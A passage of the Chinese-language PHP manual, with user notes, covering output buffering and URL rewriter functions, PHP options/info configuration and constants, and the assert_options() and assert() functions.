        ob_start();              // start output buffer 2
        echo "b";                // fill ob2
        $s1 = ob_get_contents(); // read ob2 ("b")
        ob_end_flush();          // flush ob2 to ob1

    echo "c";                // continue filling ob1
    $s2 = ob_get_contents(); // read ob1 ("a" . "b" . "c")
    ob_end_flush();          // flush ob1 to browser

    // echoes "b" followed by "abc", as supposed to:
    echo "<HR>$s1<HR>$s2<HR>";

?></pre>

... at least works on Apache 1.3.28

Nandor =)
05-Dec-2002 12:02
If you're using Apache (1.3x or 2.0), you might consider adding automatic compression capability to your delivered pages.

I assume you all know how to build compression classes and use them in your programs, but none has yet to offer the speed and robustness of a binary-compiled module. Furthermore, such modules also log the "compressable" hit in the web log file, thus allowing your favorite web anaysing program to show you reports of bandwidth saved.

Having said that, you might consider the following two modules for Apache:

1) Apache 1.3x: use mod_gzip, available from:
http://sourceforge.net/projects/mod-gzip/

2) Apache 2.x: use mod_gz, see here:
http://www.mail-archive.com/dev@httpd.apache.org/msg00734.html

3) Apache 1.3x: you may also want to use mod_defalte, from:
ftp://ftp.lexa.ru/pub/apache-rus/contrib/

Hope it helps.
cliff at NOSPAMtravelguides dot com 07-Aug-2002 03:36
good article on output buffering on devshed:

http://www.devshed.com/c/a/PHP/Output-Buffering-With-PHP


添加URL重写器的值（Add URL rewriter values）

  • ? ob_start
  • output_reset_rewrite_vars ?
  • PHP Manual
  • 输出控制 函数
  • 添加URL重写器的值（Add URL rewriter values）

output_add_rewrite_var

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

output_add_rewrite_var — 添加URL重写器的值（Add URL rewriter values）

说明

output_add_rewrite_var(string $name, string $value): bool

此函数给URL重写机制添加名/值对。 这种名值对将被添加到 URL（以 GET 参数的形式）和表单（以 input 隐藏域的形式），当透明 URL 重写用 session.use_trans_sid 开启时同样可以添加到 session ID。

此函数的行为受 url_rewriter.tags 和 url_rewriter.hosts php.ini 参数控制。

注意，每个请求最多可以成功调用此函数一次。

Note: 如果还没有活跃的输出缓冲区，调用此函数将隐式地开启它。

参数

name

变量名。

value

变量值。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
7.1.0 | 在 PHP 7.1.0 之前，使用 output_add_rewrite_var() 设置重写变量使用相同的 Session 模块 trans sid 输出缓冲区。从 PHP 7.1.0 起，使用专用的输出缓冲区， url_rewriter.tags 仅用于输出函数，新增 url_rewriter.hosts。

示例

Example #1 output_add_rewrite_var() example

<?php
output_add_rewrite_var('var', 'value');

// some links
echo '<a href="file.php">link</a>
<a href="http://example.com">link2</a>';

// a form
echo '<form action="script.php" method="post">
<input type="text" name="var2" />
</form>';

print_r(ob_list_handlers());
?>

以上示例会输出：

<a href="file.php?var=value">link</a>
<a href="http://example.com">link2</a>

<form action="script.php" method="post">
<input type="hidden" name="var" value="value" />
<input type="text" name="var2" />
</form>

Array
(
    [0] => URL-Rewriter
)

参见

  • output_reset_rewrite_vars() - 重设URL重写器的值（Reset URL rewriter values）
  • ob_flush() - 冲刷出（送出）输出缓冲区中的内容
  • ob_list_handlers() - 列出所有使用的输出处理程序
  • url_rewriter.tags
  • url_rewriter.hosts
  • session.trans_sid_tags
  • session.trans_sid_hosts

User Contributed Notes

Anonymous 20-Oct-2008 09:16
For a completely valid XHTML document you have to set the arg_separator, use this before you use output-add-rewrite-var:

<?php
ini_set('arg_separator.input', '&');
ini_set('arg_separator.output', '&');
?>
Niko 24-Feb-2008 01:58
This function also adds a parameter to <input type="image"> fields!

Example:
This code:

<?
output_add_rewrite_var ('var','value');
echo '<form action="" method="post">
        <input type="image" src="image.jpg" alt="go">
        </form>';
?>

will output something like this:

<form action="" method="post">
        <input type="hidden" name="var" value="value">
        <input type="image" src="image.jpg?var=value" alt="go">
        </form>
Bruce 06-Sep-2007 07:54
Just to clarify...

session.use_trans_sid does NOT need to be enabled in order for output_add_rewrite_var() to work.


重设URL重写器的值（Reset URL rewriter values）

  • ? output_add_rewrite_var
  • PHP 选项/信息 ?
  • PHP Manual
  • 输出控制 函数
  • 重设URL重写器的值（Reset URL rewriter values）

output_reset_rewrite_vars

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

output_reset_rewrite_vars — 重设URL重写器的值（Reset URL rewriter values）

说明

output_reset_rewrite_vars(): bool

此函数重置 URL 重写器并移除所有的先前由 output_add_rewrite_var() 函数设置的所有重写变量。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
7.1.0 | 在 PHP 7.1.0 之前，使用 output_add_rewrite_var() 设置重写变量使用相同的 Session 模块 trans sid 输出缓冲区。从 PHP 7.1.0 起，使用专用的输出缓冲区，output_reset_rewrite_vars() 仅删除由 output_add_rewrite_var() 定义的重写变量。

示例

Example #1 output_reset_rewrite_vars() 示例

<?php
session_start();
output_add_rewrite_var('var', 'value');

echo '<a href="file.php">link</a>';
ob_flush();

output_reset_rewrite_vars();
echo '<a href="file.php">link</a>';
?>

以上示例会输出：

<a href="file.php?PHPSESSID=xxx&var=value">link</a>
<a href="file.php">link</a>

参见

  • output_add_rewrite_var() - 添加URL重写器的值（Add URL rewriter values）
  • ob_flush() - 冲刷出（送出）输出缓冲区中的内容
  • ob_list_handlers() - 列出所有使用的输出处理程序
  • session_start() - 启动新会话或者重用现有会话

User Contributed Notes

yohgaki at php dot net 27-Jan-2015 04:11
Example #1 to work, you need

<?php
ini_set('session.use_only_cookies', 'Off');
ini_set('session.use_trans_sid', 'On');
?>

before session_start().


PHP 选项和信息

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • PHP 选项/信息 函数
    • assert_options — 设置/获取各种断言 flag
    • assert — 断言检测
    • cli_get_process_title — Returns the current process title
    • cli_set_process_title — Sets the process title
    • dl — 运行时载入一个 PHP 扩展
    • extension_loaded — 检查一个扩展是否已经加载
    • gc_collect_cycles — 强制收集所有现存的垃圾循环周期
    • gc_disable — 停用循环引用收集器
    • gc_enable — 激活循环引用收集器
    • gc_enabled — 返回循环引用计数器的状态
    • gc_mem_caches — Reclaims memory used by the Zend Engine memory manager
    • gc_status — 获取有关垃圾回收的信息
    • get_cfg_var — 获取 PHP 配置选项的值
    • get_current_user — 获取当前 PHP 脚本所有者名称
    • get_defined_constants — 返回所有常量的关联数组，键是常量名，值是常量值
    • get_extension_funcs — 返回模块函数名称的数组
    • get_include_path — 获取当前的 include_path 配置选项
    • get_included_files — 返回被 include 和 require 文件名的 array
    • get_loaded_extensions — 返回所有编译并加载模块名的 array
    • get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
    • get_magic_quotes_runtime — 获取当前 magic_quotes_runtime 配置选项的激活状态
    • get_required_files — 别名 get_included_files
    • get_resources — Returns active resources
    • getenv — 获取单个或者全部环境变量
    • getlastmod — 获取页面最后修改的时间
    • getmygid — 获取当前 PHP 脚本拥有者的 GID
    • getmyinode — 获取当前脚本的索引节点（inode）
    • getmypid — 获取 PHP 进程的 ID
    • getmyuid — 获取 PHP 脚本所有者的 UID
    • getopt — 从命令行参数列表中获取选项
    • getrusage — 获取当前资源使用状况
    • ini_alter — 别名 ini_set
    • ini_get_all — 获取所有配置选项
    • ini_get — 获取一个配置选项的值
    • ini_parse_quantity — Get interpreted size from ini shorthand syntax
    • ini_restore — 恢复配置选项的值
    • ini_set — 为一个配置选项设置值
    • memory_get_peak_usage — 返回分配给 PHP 内存的峰值
    • memory_get_usage — 返回分配给 PHP 的内存量
    • memory_reset_peak_usage — Reset the peak memory usage
    • php_ini_loaded_file — 取得已加载的 php.ini 文件的路径
    • php_ini_scanned_files — 返回从额外 ini 目录里解析的 .ini 文件列表
    • php_sapi_name — 返回 web 服务器和 PHP 之间的接口类型
    • php_uname — 返回运行 PHP 的系统的有关信息
    • phpcredits — 打印 PHP 贡献者名单
    • phpinfo — 输出关于 PHP 配置的信息
    • phpversion — 获取当前的PHP版本
    • putenv — 设置环境变量的值
    • restore_include_path — 还原 include_path 配置选项的值
    • set_include_path — 设置 include_path 配置选项
    • set_time_limit — 设置脚本最大执行时间
    • sys_get_temp_dir — 返回用于临时文件的目录
    • version_compare — 对比两个「PHP 规范化」的版本数字字符串
    • zend_thread_id — 返回当前线程的唯一识别符
    • zend_version — 获取当前 Zend 引擎的版本

User Contributed Notes

There are no user contributed notes for this page.


简介

这些函数允许你获得许多关于PHP本身的参数，例如：运行时的配置，被加载的扩展，版本等。 你也将找到设置你的运行中的PHP的选项的函数。可能最好用的 PHP- 函数 phpinfo() 可以在这里找到。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

PHP 选项 / Info 配置选项
名字 | 默认 | 可修改范围 | 更新日志
assert.active | "1" | PHP_INI_ALL | 自 PHP 8.3.0 起弃用
assert.bail | "0" | PHP_INI_ALL | 自 PHP 8.3.0 起弃用
assert.warning | "1" | PHP_INI_ALL | 自 PHP 8.3.0 起弃用
assert.callback | NULL | PHP_INI_ALL | 自 PHP 8.3.0 起弃用
assert.quiet_eval | "0" | PHP_INI_ALL | 从 PHP 8.0.0 移除
assert.exception | "1" | PHP_INI_ALL | 在 PHP 8.0.0 之前，默认是 "0"，自 PHP 8.3.0 起弃用
enable_dl | "1" | PHP_INI_SYSTEM | 本过时特性将肯定会在未来被移除。
max_execution_time | "30" | PHP_INI_ALL |
max_input_time | "-1" | PHP_INI_PERDIR |
max_input_nesting_level | "64" | PHP_INI_PERDIR |
max_input_vars | 1000 | PHP_INI_PERDIR |
zend.enable_gc | "1" | PHP_INI_ALL |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

assert.active bool

激活 assert() 断言评测。应该使用 zend.assertions 来控制 assert() 的行为。

Warning

本特性已自 PHP 8.3.0 起废弃。强烈建议不要使用本特性。

assert.bail bool

失败的断言将中止脚本。

Warning

本特性已自 PHP 8.3.0 起废弃。强烈建议不要使用本特性。

assert.warning bool

为每个失败的断言产生一条 PHP 警告信息。

Warning

本特性已自 PHP 8.3.0 起废弃。强烈建议不要使用本特性。

assert.callback string

断言失败后要调用的回调函数。

Warning

本特性已自 PHP 8.3.0 起废弃。强烈建议不要使用本特性。

assert.quiet_eval bool
Warning

此功能自 PHP 8.0.0 起移除。

在断言表达式执行时 error_reporting() 使用当前的设置。如果启用了，在执行时错误将不会被显示（隐式的 error_reporting(0)）。如果禁用了，错误将根据 error_reporting() 的设置来显示。

assert.exception bool

在断言（assert）失败时产生 AssertionError 异常。

Warning

本特性已自 PHP 8.3.0 起废弃。强烈建议不要使用本特性。

enable_dl bool

该指令允许开启或关闭使用 dl() 动态加载 PHP 模块。

关闭动态加载的主要原因是为了安全。通过动态加载，有可能忽略所有 open_basedir 限制。默认允许动态加载。

max_execution_time int

这设置了脚本被解析器中止之前允许的最大执行时间，单位秒。这有助于防止写得不好的脚本占尽服务器资源。默认设置为 30。从命令行运行 PHP 时，默认设置为 0。

在非 Windows 系统上，最大执行时间不会影响系统调用和系统操作等。更多细节参见 set_time_limit()。

你的 web 服务器也可以有其他超时设置，也有可能中断 PHP 的执行。Apache 有一个 Timeout 指令，IIS 有一个 CGI 超时功能。他们默认都是 300 秒。更多具体信息参见你的 web 服务器的文档。

max_input_time int

脚本解析输入数据（类似 POST 和 GET）允许的最大时间，单位是秒。它从接收所有数据到开始执行脚本进行测量的。默认设置为 -1，意味着使用 max_execution_time 的值做为默认值，如果不想限制，请设置为 0。

max_input_nesting_level int

设置 输入变量 的最大允许嵌套的深度。（例如 $_GET、$_POST）

max_input_vars int

接受多少 输入的变量（限制分别应用于 $_GET、$_POST 和 $_COOKIE 超全局变量）指令的使用减轻了以哈希碰撞来进行拒绝服务攻击的可能性。如有超过指令指定数量的输入变量，将会导致 E_WARNING 的产生，更多的输入变量将会从请求中截断。

zend.enable_gc bool

启用或禁用循环引用记数收集器。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量作为 PHP 核心的一部分总是可用的。

预定义 phpcredits() 常量
常量 | 值 | 说明
CREDITS_GROUP | 1 | 核心开发者名单
CREDITS_GENERAL | 2 | 总的贡献：语言设计和理念，PHP 作者 和 SAPI 模块。
CREDITS_SAPI | 4 | PHP 的服务器 API 模块列表，以及它们的作者。
CREDITS_MODULES | 8 | PHP 扩展的列表，以及它们的作者。
CREDITS_DOCS | 16 | 文档组的贡献。
CREDITS_FULLPAGE | 32 | 通常与其他标志组合使用。通过其他标志指示了完整独立的 HTML 页面，用于打印包含信息。
CREDITS_QA | 64 | 质量保证团队的贡献。
CREDITS_ALL | -1 | 所有的贡献者，等于使用 CREDITS_DOCS + CREDITS_GENERAL + CREDITS_GROUP + CREDITS_MODULES + CREDITS_QA CREDITS_FULLPAGE。 它以合适的标签产生了完整的独立 HTML 页面。这是默认的值。
phpinfo() 常量
常量 | 值 | 说明
INFO_GENERAL | 1 | 配置行，php.ini 的位置、构建日期，Web 服务器、操作系统及其他。
INFO_CREDITS | 2 | PHP 贡献者。参见 phpcredits()。
INFO_CONFIGURATION | 4 | 当前 PHP 指令的本地（Local）和主（Master）值。参见 ini_get()。
INFO_MODULES | 8 | 已加载的模块和各自的设置。
INFO_ENVIRONMENT | 16 | 环境变量信息在 $_ENV 中亦有效。
INFO_VARIABLES | 32 | 显示所有 EGPCS （环境变量、GET、POST、Cookie、Server）中的预定义变量。
INFO_LICENSE | 64 | PHP 版权信息。参见 » license faq。
INFO_ALL | -1 | 显示以上所有。这是默认值。
INI 常量
常量 | 值 | 说明
INI_USER | 1 | 未使用
INI_PERDIR | 2 | 未使用
INI_SYSTEM | 4 | 未使用
INI_ALL | 7 | 未使用

断言常量，这些值用于设置 assert_options() 中的断言标记。

assert() 常量
常量 | INI 设置 | 说明
ASSERT_ACTIVE | assert.active | 启用 assert()。 Warning 本特性已自 PHP 8.3.0 起废弃。强烈建议不要使用本特性。
ASSERT_CALLBACK | assert.callback | 失败断言的回调函数。 Warning 本特性已自 PHP 8.3.0 起废弃。强烈建议不要使用本特性。
ASSERT_BAIL | assert.bail | 断言失败时中止执行。 Warning 本特性已自 PHP 8.3.0 起废弃。强烈建议不要使用本特性。
ASSERT_EXCEPTION | assert.exception | 为每个失败的断言产生一条 PHP 警告。 Warning 本特性已自 PHP 8.3.0 起废弃。强烈建议不要使用本特性。
ASSERT_WARNING | assert.warning | 为每个失败的断言产生一条 PHP 警告。 Warning 本特性已自 PHP 8.3.0 起废弃。强烈建议不要使用本特性。
ASSERT_QUIET_EVAL | assert.quiet_eval | 在执行断言表达式时禁用 error_reporting。 Warning 此功能自 PHP 8.0.0 起移除。

以下常量仅在主机操作系统是 Windows的情况下有效，能得到不同版本信息，能够检测利用一些功能。 自 PHP 5.3.0 起有效。

Windows 特定常量
常量 | 描述
PHP_WINDOWS_VERSION_MAJOR | windows 主版本，可以是 4 (NT4/Me/98/95)、 5 (XP/2003 R2/2003/2000) 或 6 (Vista/2008/7/8/8.1)。
PHP_WINDOWS_VERSION_MINOR | Windows 副版本号，可以是 0 (Vista/2008/2000/NT4/95)、 1 (XP)、2 (2003 R2/2003/XP x64)、 10 (98) 或 90 (ME)。
PHP_WINDOWS_VERSION_BUILD | Windows 内部版本号（例如 Windows Vista SP1 是 build 6001）
PHP_WINDOWS_VERSION_PLATFORM | PHP 当前运行的平台， Windows Vista/XP/2000/NT4、Server 2008/2003 的值是 2，Windows ME/98/95 下值是 1。
PHP_WINDOWS_VERSION_SP_MAJOR | 安装的 service pack 主版本号，没有安装是 0。 例如，Windows XP service pack 3 上这个值是 3。
PHP_WINDOWS_VERSION_SP_MINOR | 安装的 service pack 副版本号，如果没有安装则是 0 。
PHP_WINDOWS_VERSION_SUITEMASK | suitemask 是位掩码，用来判断 Windows 是否安装了各种功能，参阅下表获取可能的位阈值。
PHP_WINDOWS_VERSION_PRODUCTTYPE | 包含用于确定 PHP_WINDOWS_NT_* 常量的值。该值可能是 PHP_WINDOWS_NT_* 常量之一，表示平台类型的值。
PHP_WINDOWS_NT_DOMAIN_CONTROLLER | 这是域控制器
PHP_WINDOWS_NT_SERVER | 这是一个服务器系统（例如 Server 2008/2003/2000），注意，如果这是一个域控制器，通过 PHP_WINDOWS_NT_DOMAIN_CONTROLLER 报告。
PHP_WINDOWS_NT_WORKSTATION | 这是一个工作站系统（例如 Vista/XP/2000/NT4）

此功能列表可以通过 PHP_WINDOWS_VERSION_SUITEMASK 位掩码检测。

Windows suitemask 位字段
Bits | 描述
0x00000004 | 安装的是 Microsoft BackOffice 组件。
0x00000400 | 安装的是 Windows Server 2003 网络版。
0x00004000 | 安装的是 Windows Server 2003 计算集群版。
0x00000080 | 安装的是 Windows Server 2008 数据中心版、Windows Server 2003 数据中心版或者 Windows 2000 数据中心服务器。
0x00000002 | 安装的是 Windows Server 2008 企业版，Windows Server 2003 企业版，Windows 2000 高级服务器版或 Windows NT Server 4.0 企业版 。
0x00000040 | 安装的是 Windows XP 嵌入版。
0x00000200 | 安装的是 Windows Vista 家庭高级版，Windows Vista 家庭普通版或 Windows XP 家庭版。
0x00000100 | 支持远程桌面，但仅支持交互式会话。系统没有在应用服务器模式运行时则会设置此值。
0x00000001 | Microsoft 小型商业服务器曾经安装在系统上，但可能已经升级到 Windows 的另外一个版本。
0x00000020 | Microsoft 小型商业服务器安装时具有有效的限制性客户端许可证。
0x00002000 | 安装的是 Windows 存储服务器 2003 R2 或 Windows 存储服务器 2003。
0x00000010 | 安装的是终端服务。该值始终设置。如果设置了该值但未设置 0x00000100，则系统运行在应用服务器模式。
0x00008000 | 已安装 Windows Home Server。

User Contributed Notes

There are no user contributed notes for this page.


PHP 选项/信息 函数

Table of Contents

  • assert_options — 设置/获取各种断言 flag
  • assert — 断言检测
  • cli_get_process_title — Returns the current process title
  • cli_set_process_title — Sets the process title
  • dl — 运行时载入一个 PHP 扩展
  • extension_loaded — 检查一个扩展是否已经加载
  • gc_collect_cycles — 强制收集所有现存的垃圾循环周期
  • gc_disable — 停用循环引用收集器
  • gc_enable — 激活循环引用收集器
  • gc_enabled — 返回循环引用计数器的状态
  • gc_mem_caches — Reclaims memory used by the Zend Engine memory manager
  • gc_status — 获取有关垃圾回收的信息
  • get_cfg_var — 获取 PHP 配置选项的值
  • get_current_user — 获取当前 PHP 脚本所有者名称
  • get_defined_constants — 返回所有常量的关联数组，键是常量名，值是常量值
  • get_extension_funcs — 返回模块函数名称的数组
  • get_include_path — 获取当前的 include_path 配置选项
  • get_included_files — 返回被 include 和 require 文件名的 array
  • get_loaded_extensions — 返回所有编译并加载模块名的 array
  • get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
  • get_magic_quotes_runtime — 获取当前 magic_quotes_runtime 配置选项的激活状态
  • get_required_files — 别名 get_included_files
  • get_resources — Returns active resources
  • getenv — 获取单个或者全部环境变量
  • getlastmod — 获取页面最后修改的时间
  • getmygid — 获取当前 PHP 脚本拥有者的 GID
  • getmyinode — 获取当前脚本的索引节点（inode）
  • getmypid — 获取 PHP 进程的 ID
  • getmyuid — 获取 PHP 脚本所有者的 UID
  • getopt — 从命令行参数列表中获取选项
  • getrusage — 获取当前资源使用状况
  • ini_alter — 别名 ini_set
  • ini_get_all — 获取所有配置选项
  • ini_get — 获取一个配置选项的值
  • ini_parse_quantity — Get interpreted size from ini shorthand syntax
  • ini_restore — 恢复配置选项的值
  • ini_set — 为一个配置选项设置值
  • memory_get_peak_usage — 返回分配给 PHP 内存的峰值
  • memory_get_usage — 返回分配给 PHP 的内存量
  • memory_reset_peak_usage — Reset the peak memory usage
  • php_ini_loaded_file — 取得已加载的 php.ini 文件的路径
  • php_ini_scanned_files — 返回从额外 ini 目录里解析的 .ini 文件列表
  • php_sapi_name — 返回 web 服务器和 PHP 之间的接口类型
  • php_uname — 返回运行 PHP 的系统的有关信息
  • phpcredits — 打印 PHP 贡献者名单
  • phpinfo — 输出关于 PHP 配置的信息
  • phpversion — 获取当前的PHP版本
  • putenv — 设置环境变量的值
  • restore_include_path — 还原 include_path 配置选项的值
  • set_include_path — 设置 include_path 配置选项
  • set_time_limit — 设置脚本最大执行时间
  • sys_get_temp_dir — 返回用于临时文件的目录
  • version_compare — 对比两个「PHP 规范化」的版本数字字符串
  • zend_thread_id — 返回当前线程的唯一识别符
  • zend_version — 获取当前 Zend 引擎的版本

User Contributed Notes

gilthansNOSPAAM at gmailSPAAMBLOCK dot com 15-Mar-2005 05:04
Note: when magic_quotes_gpc is ON, it will also slash values inside both $_SERVER['QUERY_STRING'] and $_SERVER['SCRIPT_NAME'] (and equivalents) will also be slashed.
Mark 14-Jun-2004 05:37
You probably don't want to set "magic_quotes_runtime" because it affects even binary file read/write operations. This is especially problematic if you include someone else's library that depends on binary read/write. If you enable "magic_quotes_runtime", be sure to use set_magic_quotes_runtime() function call to disable it before calling someone else's library that does binary read/write.


设置/获取各种断言 flag

  • ? PHP 选项/信息 函数
  • assert ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 设置/获取各种断言 flag

assert_options

(PHP 4, PHP 5, PHP 7, PHP 8)

assert_options — 设置/获取各种断言 flag

Warning

此函数自 PHP 8.3.0 起弃用。强烈建议不要应用此函数。

说明

assert_options(int $option, mixed $value = ?): mixed

设置 assert() 的各种控制选项，或者是仅仅查询当前的设置。

Note: 不鼓励使用 assert_options()，而是分别使用 ini_set() 和 ini_get() 设置和获取 php.ini 指令 zend.assertions 和 assert.exception。

参数

option

断言选项
选项 | INI 设置 | 默认值 | 描述
ASSERT_ACTIVE | assert.active | 1 | 启用 assert() 断言
ASSERT_EXCEPTION | assert.exception | 1 | 每个失败断言，抛出 AssertionError
ASSERT_WARNING | assert.warning | 1 | 为每个失败的断言产生一个 PHP 警告（warning）
ASSERT_BAIL | assert.bail | 0 | 在断言失败时中止执行
ASSERT_QUIET_EVAL | assert.quiet_eval | 0 | 在断言表达式求值时禁用 error_reporting。PHP 8.0.0 起移除。
ASSERT_CALLBACK | assert.callback | (null) | 断言失败时调用回调函数

value

可选的新选项值。

通过 ASSERT_CALLBACK 或 assert.callback 设置的回调函数应该有以下签名：

assert_callback(
string $file,
int $line,
?string $assertion,
string $description = ?
): void
file
调用 assert() 的文件名。
line
调用 assert() 的行数。
assertion
在 PHP 8.0.0 之前，传递给 assert() 的断言，仅作为字符串给出。 （如果断言是 boolean 条件，则此参数将为空字符串。）从 PHP 8.0.0 开始，此参数始终为 null。
description
传递给 assert() 的描述。

向 value 传递空字符串会重置断言回调。

返回值

返回任意选项的原始设置。

错误／异常

如果 option 是无效选项，抛出 ValueError。

更新日志

版本 | 说明
8.3.0 | assert_option() 现在已弃用。
8.0.0 | 如果 option 是无效选项，抛出 ValueError。之前返回 false。

示例

Example #1 assert_options() 示例

<?php
// 处理断言失败时的函数
function assert_failure($file, $line, $assertion, $message)
{
echo "The assertion $assertion in $file on line $line has failed: $message";
}

// 我们的测试函数
function test_assert($parameter)
{
assert(is_bool($parameter));
}

// 设置断言选项
assert_options(ASSERT_ACTIVE, true);
assert_options(ASSERT_BAIL, true);
assert_options(ASSERT_WARNING, false);
assert_options(ASSERT_CALLBACK, 'assert_failure');

// 让一个断言会失败
test_assert(1);

// 由于 ASSERT_BAIL 是 true，这里永远也到不了
echo 'Never reached';
?>

参见

  • assert() - 断言检测

User Contributed Notes

Fr?d?ric Bouchery 20-Jul-2003 04:25
Here is an exemple how to use the assertion callback function :

<?php
  assert_options( ASSERT_CALLBACK, 'assert_callback');

  function assert_callback( $script, $line, $message ) {
    echo 'You have a design error in your script <b>', $script,'</b> : line <b>', $line,'</b> :<br />';
    echo '<b>', ereg_replace( '^.*//\*', '', $message ), '</b><br /><br />';
    echo 'Open the source file and check it, because it\'s not a normal behaviour !';
    exit;
  }

  $x = 3;
  assert('is_integer( $x ) && ($x >= 0) && ($x <= 10); //* $x must be an integer value from 0 to 10' );
  echo "0 <= $x <= 10";
?>

assertion is usefull for "design by contract" methodology ...


断言检测

  • ? assert_options
  • cli_get_process_title ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 断言检测

assert

(PHP 4, PHP 5, PHP 7, PHP 8)

assert — 断言检测

说明

assert(mixed $assertion, Throwable|string|null $description = null): bool

assert() 允许定义预期（expectations）：在开发和测试环境中生效的断言，但在生产环境中会优化掉以达到零成本。

断言应该只用于调试功能。其中一个用例是检查健全性的前提条件，应该始终为 true，如果不满足这些条件，则表示存在某些编程错误。 另一个用例是确保某些功能的存在，例如扩展函数或某些系统限制和特性。

由于断言可以配置为已消除，因此不应该用于普通运行时操作，比如检查输入参数。一般来说，代码应该在禁用断言检查的情况下仍然按预期运行。

assert() 将检查 assertion 中指定的预期（expectations）是否成立。如果不成立，也就是结果为 false，它将根据 assert() 的配置采取适当的操作。

assert() 的行为由以下 INI 设置决定：

断言 配置选项
名字 | 默认 | 说明 | 更新日志
zend.assertions 1
  • 1：生成并执行代码（开发模式）
  • 0：生成代码但在运行时跳转
  • -1：生成代码但在运行时跳转（生产模式）
assert.active | true | 为 false 时，assert() 将不会检查预期（expectation）并且无条件返回 true。 | 自 PHP 8.3.0 起弃用
assert.callback null 当断言失败时，将调用用户定义的函数，其签名应该是：
assert_callback(
string $file,
int $line,
null $assertion,
string $description = ?
): void
 在 PHP 8.0.0 之前，回调的签名应该是：
assert_callback(
string $file,
int $line,
string $assertion,
string $description = ?
): void
自 PHP 8.3.0 起弃用
assert.exception | true | 如果为 true，则如果不能满足预期（expectations），将抛出 AssertionError 异常。 | 自 PHP 8.3.0 起弃用
assert.bail | false | 为 true 时，如果预期（expectation）不支持，将会中止 PHP 脚本的执行。 | 自 PHP 8.3.0 起弃用
assert.warning | true | 为 true 时，则如果预期（expectation）不支持，将发出 E_WARNING 警告。如果启用了 assert.exception，此 INI 设置将无效。 | 自 PHP 8.3.0 起弃用

参数

assertion

可以是任何带返回值的表达式，运行后的结果用于表示断言成功还是失败。

Warning

在 PHP 8.0.0 之前，如果 assertion 是 string，将解释为 PHP 代码，并通过 eval() 执行。这个字符串将作为第三个参数传递给回调函数。这种行为在 PHP 7.2.0 中弃用，并在 PHP 8.0.0 中移除。

description

如果 description 是 Throwable 的实例，只有在 assertion 执行失败时才会抛出。

Note:

自 PHP 8.0.0 开始，在调用可能定义的断言回调之前执行此操作。

Note:

自 PHP 8.0.0 开始，无论 assert.exception 的配置如何，都将会抛出该 object。

Note:

自 PHP 8.0.0 开始，在这种情况下，assert.bail 设置不起作用。

如果 description 是 string，当发出异常或警告时，将使用该消息。 如果 assertion 失败了，可选的 description 将会包括在失败信息里。

如果省略 description， 将在编译时创建默认 description，该 description 等于对 assert() 调用的源代码。

返回值

assert() 总是返回 true，前提是以下条件中至少有一个为真：

  • zend.assertions=0
  • zend.assertions=-1
  • assert.exception=1
  • assert.bail=1
  • 将自定义异常对象传递给 description。

如果所有条件都不满足， assert() 将在 assertion 为真时返回 true，否则返回 false。urn true if assertion is truthy and false otherwise.

更新日志

版本 | 说明
8.3.0 | 弃用所有的 assert. INI 设置。
8.0.0 | assert() 将不再对字符串参数求值，而是跟其他参数一样对待。应该使用 assert($a == $b) 替代 assert('$a == $b')。已移除 assert.quiet_eval php.ini 指令和 ASSERT_QUIET_EVAL 常量，因为它们不再有任何作用。
8.0.0 | 如果 description 是 Throwable 的实例，无论 assert.exception 的值如何，如果断言失败，该对象都会被抛出。
8.0.0 | 如果 description 是 Throwable 的实例，即使设置了用户回调，也不会调用该回调。
8.0.0 | 不再允许在命名空间中声明叫做 assert() 的函数，并发出 E_COMPILE_ERROR。
7.3.0 | 弃用在命名空间中声明 assert() 函数。这样声明会发出 E_DEPRECATED。
7.2.0 | 弃用使用 string 作为 assertion。当 assert.active 和 zend.assertions 都设为 1 时，现在会发出 E_DEPRECATED 通知。

示例

Example #1 assert() 示例

<?php
assert(1 > 2);
echo 'Hi!';

如果启用断言（zend.assertions=1） 以上示例会输出：

Fatal error: Uncaught AssertionError: assert(1 > 2) in example.php:2
Stack trace:
#0 example.php(2): assert(false, 'assert(1 > 2)')
#1 {main}
  thrown in example.php on line 2

如果禁用断言（zend.assertions=0 或 zend.assertions=-1） 以上示例会输出：

Hi!

Example #2 使用自定义信息

<?php
assert(1 > 2, "Expected one to be greater than two");
echo 'Hi!';
?>

如果启用断言，以上示例会输出：

Fatal error: Uncaught AssertionError: Expected one to be greater than two in example.php:2
Stack trace:
#0 example.php(2): assert(false, 'Expected one to...')
#1 {main}
  thrown in example.php on line 2

如果禁用断言，以上示例会输出：

Hi!

Example #3 使用自定义异常类

<?php
class ArithmeticAssertionError extends AssertionError {}

assert(1 > 2, new ArithmeticAssertionError("Expected one to be greater than two"));
echo 'Hi!';

如果启用断言，以上示例会输出：

Fatal error: Uncaught ArithmeticAssertionError: Expected one to be greater than two in example.php:4
Stack trace:
#0 {main}
  thrown in example.php on line 4

如果禁用断言，以上示例会输出：

Hi!

参见

  • assert_options() - 设置/获取各种断言 flag

User Contributed Notes

hodgman at ali dot com dot au 28-Jul-2008 09:19
As noted on Wikipedia - "assertions are primarily a development tool, they are often disabled when a program is released to the public." and "Assertions should be used to document logically impossible situations and discover programming errors— if the 'impossible' occurs, then something fundamental is clearly wrong. This is distinct from error handling: most error conditions are possible, although some may be extremely unlikely to occur in practice. Using assertions as a general-purpose error handling mechanism is usually unwise: assertions do not allow for graceful recovery from errors, and an assertion failure will often halt the program's execution abruptly. Assertions also do not display a user-friendly error message."

This means that the advice given by "gk at proliberty dot com" to force assertions to be enabled, even when they have been disabled manually, goes against best practices of only using them as a development tool.


Returns the current process title

  • ? assert
  • cli_set_process_title ?
  • PHP Manual
  • PHP 选项/信息 函数
  • Returns the current process title

cli_get_process_title

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

cli_get_process_title — Returns the current process title

说明

